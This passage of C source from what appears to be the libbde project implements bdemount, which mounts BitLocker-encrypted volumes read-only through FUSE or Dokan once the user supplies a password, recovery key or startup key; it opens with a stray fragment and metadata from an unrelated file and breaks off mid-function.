currentNode; }
zuoxinyu/zlibc
misc/zjson/src/parser.c
C
lgpl-3.0
10,987
/* * Mounts a BitLocker Drive Encrypted (BDE) volume * * Copyright (C) 2011-2015, Joachim Metz <joachim.metz@gmail.com> * * Refer to AUTHORS for acknowledgements. * * This software is free software: you can redistribute it and/or modify * it under the terms of the GNU Lesser General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU Lesser General Public License * along with this software. If not, see <http://www.gnu.org/licenses/>. */ #include <common.h> #include <memory.h> #include <types.h> #include <stdio.h> #if defined( HAVE_ERRNO_H ) #include <errno.h> #endif #if defined( HAVE_UNISTD_H ) #include <unistd.h> #endif #if defined( HAVE_STDLIB_H ) || defined( WINAPI ) #include <stdlib.h> #endif #if !defined( WINAPI ) || defined( USE_CRT_FUNCTIONS ) #if defined( TIME_WITH_SYS_TIME ) #include <sys/time.h> #include <time.h> #elif defined( HAVE_SYS_TIME_H ) #include <sys/time.h> #else #include <time.h> #endif #endif #if defined( HAVE_LIBFUSE ) || defined( HAVE_LIBOSXFUSE ) #define FUSE_USE_VERSION 26 #if defined( HAVE_LIBFUSE ) #include <fuse.h> #elif defined( HAVE_LIBOSXFUSE ) #include <osxfuse/fuse.h> #endif #elif defined( HAVE_LIBDOKAN ) #include <dokan.h> #endif #include "bdeoutput.h" #include "bdetools_libbde.h" #include "bdetools_libcerror.h" #include "bdetools_libclocale.h" #include "bdetools_libcnotify.h" #include "bdetools_libcstring.h" #include "bdetools_libcsystem.h" #include "mount_handle.h" mount_handle_t *bdemount_mount_handle = NULL; int bdemount_abort = 0; /* Prints the executable usage information */ void usage_fprint( FILE *stream ) { if( stream == NULL ) { return; } fprintf( stream, "Use bdemount to mount a BitLocker Drive Encrypted (BDE) volume\n\n" ); fprintf( stream, "Usage: bdemount [ -k keys ] [ -o offset ] [ -p password ]\n" " [ -r password ] [ -s filename ] [ -X extended_options ]\n" " [ -hvV ] source mount_point\n\n" ); fprintf( stream, "\tsource: the source file or device\n" ); fprintf( stream, "\tmount_point: the directory to serve as mount point\n\n" ); fprintf( stream, "\t-h: shows this help\n" ); fprintf( stream, "\t-k: the full volume encryption key and tweak key\n" "\t formatted in base16 and separated by a : character\n" "\t e.g. FKEV:TWEAK\n" ); fprintf( stream, "\t-o: specify the volume offset in bytes\n" ); fprintf( stream, "\t-p: specify the password/passphrase\n" ); fprintf( stream, "\t-r: specify the recovery password\n" ); fprintf( stream, "\t-s: specify the file containing the startup key.\n" "\t typically this file has the extension .BEK\n" ); fprintf( stream, "\t-v: verbose output to stderr\n" "\t bdemount will remain running in the foreground\n" ); fprintf( stream, "\t-V: print version\n" ); fprintf( stream, "\t-X: extended options to pass to sub system\n" ); } /* Signal handler for bdemount */ void bdemount_signal_handler( libcsystem_signal_t signal LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_signal_handler"; LIBCSYSTEM_UNREFERENCED_PARAMETER( signal ) bdemount_abort = 1; if( bdemount_mount_handle != NULL ) { if( mount_handle_signal_abort( bdemount_mount_handle, &error ) != 1 ) { libcnotify_printf( "%s: unable to signal mount handle to abort.\n", function ); libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } } /* Force stdin to close otherwise any function reading it will remain blocked */ if( libcsystem_file_io_close( 0 ) != 0 ) { libcnotify_printf( "%s: unable to close stdin.\n", function ); } } #if defined( HAVE_LIBFUSE ) || defined( HAVE_LIBOSXFUSE ) #if ( SIZEOF_OFF_T != 8 ) && ( SIZEOF_OFF_T != 4 ) #error Size of off_t not supported #endif static char *bdemount_fuse_path = "/bde1"; static size_t bdemount_fuse_path_length = 5; #if defined( HAVE_TIME ) time_t bdemount_timestamp = 0; #endif /* Opens a file * Returns 0 if successful or a negative errno value otherwise */ int bdemount_fuse_open( const char *path, struct fuse_file_info *file_info ) { libcerror_error_t *error = NULL; static char *function = "bdemount_fuse_open"; size_t path_length = 0; int result = 0; if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -EINVAL; goto on_error; } if( file_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid file info.", function ); result = -EINVAL; goto on_error; } path_length = libcstring_narrow_string_length( path ); if( ( path_length != bdemount_fuse_path_length ) || ( libcstring_narrow_string_compare( path, bdemount_fuse_path, bdemount_fuse_path_length ) != 0 ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path.", function ); result = -ENOENT; goto on_error; } if( ( file_info->flags & 0x03 ) != O_RDONLY ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_UNSUPPORTED_VALUE, "%s: write access currently not supported.", function ); result = -EACCES; goto on_error; } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Reads a buffer of data at the specified offset * Returns number of bytes read if successful or a negative errno value otherwise */ int bdemount_fuse_read( const char *path, char *buffer, size_t size, off_t offset, struct fuse_file_info *file_info ) { libcerror_error_t *error = NULL; static char *function = "bdemount_fuse_read"; size_t path_length = 0; ssize_t read_count = 0; int result = 0; if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -EINVAL; goto on_error; } if( size > (size_t) INT_MAX ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_VALUE_EXCEEDS_MAXIMUM, "%s: invalid size value exceeds maximum.", function ); result = -EINVAL; goto on_error; } if( file_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid file info.", function ); result = -EINVAL; goto on_error; } path_length = libcstring_narrow_string_length( path ); if( ( path_length != bdemount_fuse_path_length ) || ( libcstring_narrow_string_compare( path, bdemount_fuse_path, bdemount_fuse_path_length ) != 0 ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path.", function ); result = -ENOENT; goto on_error; } if( mount_handle_seek_offset( bdemount_mount_handle, (off64_t) offset, SEEK_SET, &error ) == -1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_IO, LIBCERROR_IO_ERROR_SEEK_FAILED, "%s: unable to seek offset in mount handle.", function ); result = -EIO; goto on_error; } read_count = mount_handle_read_buffer( bdemount_mount_handle, (uint8_t *) buffer, size, &error ); if( read_count == -1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_IO, LIBCERROR_IO_ERROR_READ_FAILED, "%s: unable to read from mount handle.", function ); result = -EIO; goto on_error; } return( (int) read_count ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Sets the values in a stat info structure * Returns 1 if successful or -1 on error */ int bdemount_fuse_set_stat_info( struct stat *stat_info, uint64_t creation_time, uint64_t modification_time, uint64_t access_time, size64_t size, int number_of_sub_items, uint8_t use_mount_time, libcerror_error_t **error ) { static char *function = "bdemount_fuse_set_stat_info"; if( stat_info == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid stat info.", function ); return( -1 ); } if( use_mount_time == 0 ) { /* TODO check size fo time_t if 64-bit allow for more precision */ if( creation_time != 0 ) { creation_time /= 10000000; if( creation_time < 11644473600UL ) { creation_time = 0; } else { creation_time -= 11644473600UL; } /* TODO check upper bound */ stat_info->st_ctime = (time_t) creation_time; } if( modification_time != 0 ) { modification_time /= 10000000; if( modification_time < 11644473600UL ) { modification_time = 0; } else { modification_time -= 11644473600UL; } /* TODO check upper bound */ stat_info->st_mtime = (time_t) modification_time; } if( access_time != 0 ) { access_time /= 10000000; if( access_time < 11644473600UL ) { access_time = 0; } else { access_time -= 11644473600UL; } /* TODO check upper bound */ stat_info->st_atime = (time_t) access_time; } } #if defined( HAVE_TIME ) else { if( bdemount_timestamp == 0 ) { if( time( &bdemount_timestamp ) == (time_t) -1 ) { bdemount_timestamp = 0; } } stat_info->st_atime = bdemount_timestamp; stat_info->st_mtime = bdemount_timestamp; stat_info->st_ctime = bdemount_timestamp; } #endif if( size != 0 ) { #if SIZEOF_OFF_T <= 4 if( size > (size64_t) UINT32_MAX ) #else if( size > (size64_t) INT64_MAX ) #endif { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_VALUE_OUT_OF_BOUNDS, "%s: invalid size value out of bounds.", function ); return( -1 ); } stat_info->st_size = (off_t) size; } if( number_of_sub_items > 0 ) { stat_info->st_mode = S_IFDIR | 0555; stat_info->st_nlink = 2; } else { stat_info->st_mode = S_IFREG | 0444; stat_info->st_nlink = 1; } #if defined( HAVE_GETEUID ) stat_info->st_uid = geteuid(); #endif #if defined( HAVE_GETEGID ) stat_info->st_gid = getegid(); #endif return( 1 ); } /* Fills a directory entry * Returns 1 if successful or -1 on error */ int bdemount_fuse_filldir( void *buffer, fuse_fill_dir_t filler, char *name, size_t name_size, struct stat *stat_info, mount_handle_t *mount_handle, uint8_t use_mount_time, libcerror_error_t **error ) { static char *function = "bdemount_fuse_filldir"; size64_t volume_size = 0; uint64_t creation_time = 0; int number_of_sub_items = 0; if( filler == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid filler.", function ); return( -1 ); } if( mount_handle == NULL ) { number_of_sub_items = 1; } else { if( mount_handle_get_creation_time( mount_handle, &creation_time, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve creation time.", function ); return( -1 ); } if( mount_handle_get_size( mount_handle, &volume_size, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve volume size.", function ); return( -1 ); } } if( memory_set( stat_info, 0, sizeof( struct stat ) ) == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_SET_FAILED, "%s: unable to clear stat info.", function ); return( -1 ); } if( bdemount_fuse_set_stat_info( stat_info, creation_time, creation_time, creation_time, volume_size, number_of_sub_items, use_mount_time, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set stat info.", function ); return( -1 ); } if( filler( buffer, name, stat_info, 0 ) == 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set directory entry.", function ); return( -1 ); } return( 1 ); } /* Reads a directory * Returns 0 if successful or a negative errno value otherwise */ int bdemount_fuse_readdir( const char *path, void *buffer, fuse_fill_dir_t filler, off_t offset LIBCSYSTEM_ATTRIBUTE_UNUSED, struct fuse_file_info *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; struct stat *stat_info = NULL; static char *function = "bdemount_fuse_readdir"; size_t path_length = 0; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( offset ) LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -EINVAL; goto on_error; } path_length = libcstring_narrow_string_length( path ); if( ( path_length != 1 ) || ( path[ 0 ] != '/' ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path.", function ); result = -ENOENT; goto on_error; } stat_info = memory_allocate_structure( struct stat ); if( stat_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_INSUFFICIENT, "%s: unable to create stat info.", function ); result = errno; goto on_error; } if( bdemount_fuse_filldir( buffer, filler, ".", 2, stat_info, NULL, 1, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set directory entry.", function ); result = -EIO; goto on_error; } if( bdemount_fuse_filldir( buffer, filler, "..", 3, stat_info, NULL, 0, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set directory entry.", function ); result = -EIO; goto on_error; } if( bdemount_fuse_filldir( buffer, filler, &( bdemount_fuse_path[ 1 ] ), bdemount_fuse_path_length + 1, stat_info, bdemount_mount_handle, 0, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set directory entry.", function ); result = -EIO; goto on_error; } memory_free( stat_info ); return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } if( stat_info != NULL ) { memory_free( stat_info ); } return( result ); } /* Retrieves the file stat info * Returns 0 if successful or a negative errno value otherwise */ int bdemount_fuse_getattr( const char *path, struct stat *stat_info ) { libcerror_error_t *error = NULL; static char *function = "bdemount_fuse_getattr"; size64_t volume_size = 0; uint64_t creation_time = 0; size_t path_length = 0; int number_of_sub_items = 0; int result = -ENOENT; uint8_t use_mount_time = 0; if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -EINVAL; goto on_error; } if( stat_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid stat info.", function ); result = -EINVAL; goto on_error; } if( memory_set( stat_info, 0, sizeof( struct stat ) ) == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_SET_FAILED, "%s: unable to clear stat info.", function ); result = errno; goto on_error; } path_length = libcstring_narrow_string_length( path ); if( path_length == 1 ) { if( path[ 0 ] == '/' ) { number_of_sub_items = 1; use_mount_time = 1; result = 0; } } else if( path_length == bdemount_fuse_path_length ) { if( libcstring_narrow_string_compare( path, bdemount_fuse_path, bdemount_fuse_path_length ) == 0 ) { if( mount_handle_get_creation_time( bdemount_mount_handle, &creation_time, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve creation time.", function ); result = -EIO; goto on_error; } if( mount_handle_get_size( bdemount_mount_handle, &volume_size, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve volume size.", function ); result = -EIO; goto on_error; } result = 0; } } if( result == 0 ) { if( bdemount_fuse_set_stat_info( stat_info, creation_time, creation_time, creation_time, volume_size, number_of_sub_items, use_mount_time, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set stat info.", function ); result = -EIO; goto on_error; } } return( result ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Cleans up when fuse is done */ void bdemount_fuse_destroy( void *private_data LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_fuse_destroy"; LIBCSYSTEM_UNREFERENCED_PARAMETER( private_data ) if( bdemount_mount_handle != NULL ) { if( mount_handle_free( &bdemount_mount_handle, &error ) != 1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_FINALIZE_FAILED, "%s: unable to free mount handle.", function ); goto on_error; } } return; on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return; } #elif defined( HAVE_LIBDOKAN ) static wchar_t *bdemount_dokan_path = L"\\BDE1"; static size_t bdemount_dokan_path_length = 5; /* Opens a file or directory * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_CreateFile( const wchar_t *path, DWORD desired_access, DWORD share_mode LIBCSYSTEM_ATTRIBUTE_UNUSED, DWORD creation_disposition, DWORD attribute_flags LIBCSYSTEM_ATTRIBUTE_UNUSED, DOKAN_FILE_INFO *file_info ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_CreateFile"; size_t path_length = 0; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( share_mode ) LIBCSYSTEM_UNREFERENCED_PARAMETER( attribute_flags ) if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } if( ( desired_access & GENERIC_WRITE ) != 0 ) { return( -ERROR_WRITE_PROTECT ); } /* Ignore the share_mode */ if( creation_disposition == CREATE_NEW ) { return( -ERROR_FILE_EXISTS ); } else if( creation_disposition == CREATE_ALWAYS ) { return( -ERROR_ALREADY_EXISTS ); } else if( creation_disposition == OPEN_ALWAYS ) { return( -ERROR_FILE_NOT_FOUND ); } else if( creation_disposition == TRUNCATE_EXISTING ) { return( -ERROR_FILE_NOT_FOUND ); } else if( creation_disposition != OPEN_EXISTING ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid creation disposition.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } if( file_info == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid file info.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } path_length = libcstring_wide_string_length( path ); if( path_length == 1 ) { if( path[ 0 ] != (wchar_t) '\\' ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } } else { if( ( path_length != bdemount_dokan_path_length ) || ( libcstring_wide_string_compare( path, bdemount_dokan_path, bdemount_dokan_path_length ) != 0 ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Opens a directory * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_OpenDirectory( const wchar_t *path, DOKAN_FILE_INFO *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_OpenDirectory"; size_t path_length = 0; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } path_length = libcstring_wide_string_length( path ); if( ( path_length != 1 ) || ( path[ 0 ] != (wchar_t) '\\' ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Closes a file or direcotry * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_CloseFile( const wchar_t *path, DOKAN_FILE_INFO *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_CloseFile"; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Reads a buffer of data at the specified offset * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_ReadFile( const wchar_t *path, void *buffer, DWORD number_of_bytes_to_read, DWORD *number_of_bytes_read, LONGLONG offset, DOKAN_FILE_INFO *file_info LIBCSYSTEM_ATTRIBUTE_UNUSED ) { libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_ReadFile"; size_t path_length = 0; ssize_t read_count = 0; int result = 0; LIBCSYSTEM_UNREFERENCED_PARAMETER( file_info ) if( path == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid path.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } if( number_of_bytes_to_read > (DWORD) INT32_MAX ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_VALUE_EXCEEDS_MAXIMUM, "%s: invalid number of bytes to read value exceeds maximum.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } if( number_of_bytes_read == NULL ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid number of bytes read.", function ); result = -ERROR_BAD_ARGUMENTS; goto on_error; } path_length = libcstring_wide_string_length( path ); if( ( path_length != bdemount_dokan_path_length ) || ( libcstring_wide_string_compare( path, bdemount_dokan_path, bdemount_dokan_path_length ) != 0 ) ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_UNSUPPORTED_VALUE, "%s: unsupported path: %ls.", function, path ); result = -ERROR_FILE_NOT_FOUND; goto on_error; } if( mount_handle_seek_offset( bdemount_mount_handle, (off64_t) offset, SEEK_SET, &error ) == -1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_IO, LIBCERROR_IO_ERROR_SEEK_FAILED, "%s: unable to seek offset in mount handle.", function ); result = -ERROR_SEEK_ON_DEVICE; goto on_error; } read_count = mount_handle_read_buffer( bdemount_mount_handle, (uint8_t *) buffer, (size_t) number_of_bytes_to_read, &error ); if( read_count == -1 ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_IO, LIBCERROR_IO_ERROR_READ_FAILED, "%s: unable to read from mount handle.", function ); result = -ERROR_READ_FAULT; goto on_error; } if( read_count > (size_t) INT32_MAX ) { libcerror_error_set( &error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_VALUE_EXCEEDS_MAXIMUM, "%s: invalid read count value exceeds maximum.", function ); result = -ERROR_READ_FAULT; goto on_error; } /* Dokan does not require the read function to return ERROR_HANDLE_EOF */ *number_of_bytes_read = (DWORD) read_count; return( 0 ); on_error: if( error != NULL ) { libcnotify_print_error_backtrace( error ); libcerror_error_free( &error ); } return( result ); } /* Sets the values in a find data structure * Returns 1 if successful or -1 on error */ int bdemount_dokan_set_find_data( WIN32_FIND_DATAW *find_data, uint64_t creation_time, uint64_t modification_time, uint64_t access_time, size64_t size, int number_of_sub_items, uint8_t use_mount_time, libcerror_error_t **error ) { static char *function = "bdemount_dokan_set_find_data"; if( find_data == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid find data.", function ); return( -1 ); } if( use_mount_time == 0 ) { if( creation_time != 0 ) { find_data->ftCreationTime.dwLowDateTime = (uint32_t) ( creation_time & 0x00000000ffffffffULL ); find_data->ftCreationTime.dwHighDateTime = creation_time >> 32; } if( modification_time != 0 ) { find_data->ftLastWriteTime.dwLowDateTime = (uint32_t) ( modification_time & 0x00000000ffffffffULL ); find_data->ftLastWriteTime.dwHighDateTime = modification_time >> 32; } if( access_time != 0 ) { find_data->ftLastAccessTime.dwLowDateTime = (uint32_t) ( access_time & 0x00000000ffffffffULL ); find_data->ftLastAccessTime.dwHighDateTime = access_time >> 32; } } /* TODO implement else { } */ if( size > 0 ) { find_data->nFileSizeHigh = (DWORD) ( size >> 32 ); find_data->nFileSizeLow = (DWORD) ( size & 0xffffffffUL ); } find_data->dwFileAttributes = FILE_ATTRIBUTE_READONLY; if( number_of_sub_items > 0 ) { find_data->dwFileAttributes |= FILE_ATTRIBUTE_DIRECTORY; } return( 1 ); } /* Fills a directory entry * Returns 1 if successful or -1 on error */ int bdemount_dokan_filldir( PFillFindData fill_find_data, DOKAN_FILE_INFO *file_info, wchar_t *name, size_t name_size, WIN32_FIND_DATAW *find_data, mount_handle_t *mount_handle, uint8_t use_mount_time, libcerror_error_t **error ) { static char *function = "bdemount_dokan_filldir"; size64_t volume_size = 0; uint64_t creation_time = 0; int number_of_sub_items = 0; if( fill_find_data == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid fill find data.", function ); return( -1 ); } if( name == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_INVALID_VALUE, "%s: invalid name.", function ); return( -1 ); } if( name_size > (size_t) MAX_PATH ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_ARGUMENTS, LIBCERROR_ARGUMENT_ERROR_VALUE_OUT_OF_BOUNDS, "%s: invalid name size value out of bounds.", function ); return( -1 ); } if( mount_handle == NULL ) { number_of_sub_items = 1; } else { if( mount_handle_get_creation_time( mount_handle, &creation_time, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve creation time.", function ); return( -1 ); } if( mount_handle_get_size( mount_handle, &volume_size, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_GET_FAILED, "%s: unable to retrieve volume size.", function ); return( -1 ); } } if( memory_set( find_data, 0, sizeof( WIN32_FIND_DATAW ) ) == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_SET_FAILED, "%s: unable to clear find data.", function ); return( -1 ); } if( libcstring_wide_string_copy( find_data->cFileName, name, name_size ) == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_COPY_FAILED, "%s: unable to copy filename.", function ); return( -1 ); } if( name_size <= (size_t) 14 ) { if( libcstring_wide_string_copy( find_data->cAlternateFileName, name, name_size ) == NULL ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_MEMORY, LIBCERROR_MEMORY_ERROR_COPY_FAILED, "%s: unable to copy alternate filename.", function ); return( -1 ); } } if( bdemount_dokan_set_find_data( find_data, creation_time, creation_time, creation_time, volume_size, number_of_sub_items, use_mount_time, error ) != 1 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set find data.", function ); return( -1 ); } if( fill_find_data( find_data, file_info ) != 0 ) { libcerror_error_set( error, LIBCERROR_ERROR_DOMAIN_RUNTIME, LIBCERROR_RUNTIME_ERROR_SET_FAILED, "%s: unable to set directory entry.", function ); return( -1 ); } return( 1 ); } /* Reads a directory * Returns 0 if successful or a negative error code otherwise */ int __stdcall bdemount_dokan_FindFiles( const wchar_t *path, PFillFindData fill_find_data, DOKAN_FILE_INFO *file_info ) { WIN32_FIND_DATAW find_data; libcerror_error_t *error = NULL; static char *function = "bdemount_dokan_FindFiles"; size_t path_length = 0; int result = 0; if( path == NULL ) { libcerror_error_set( &error, 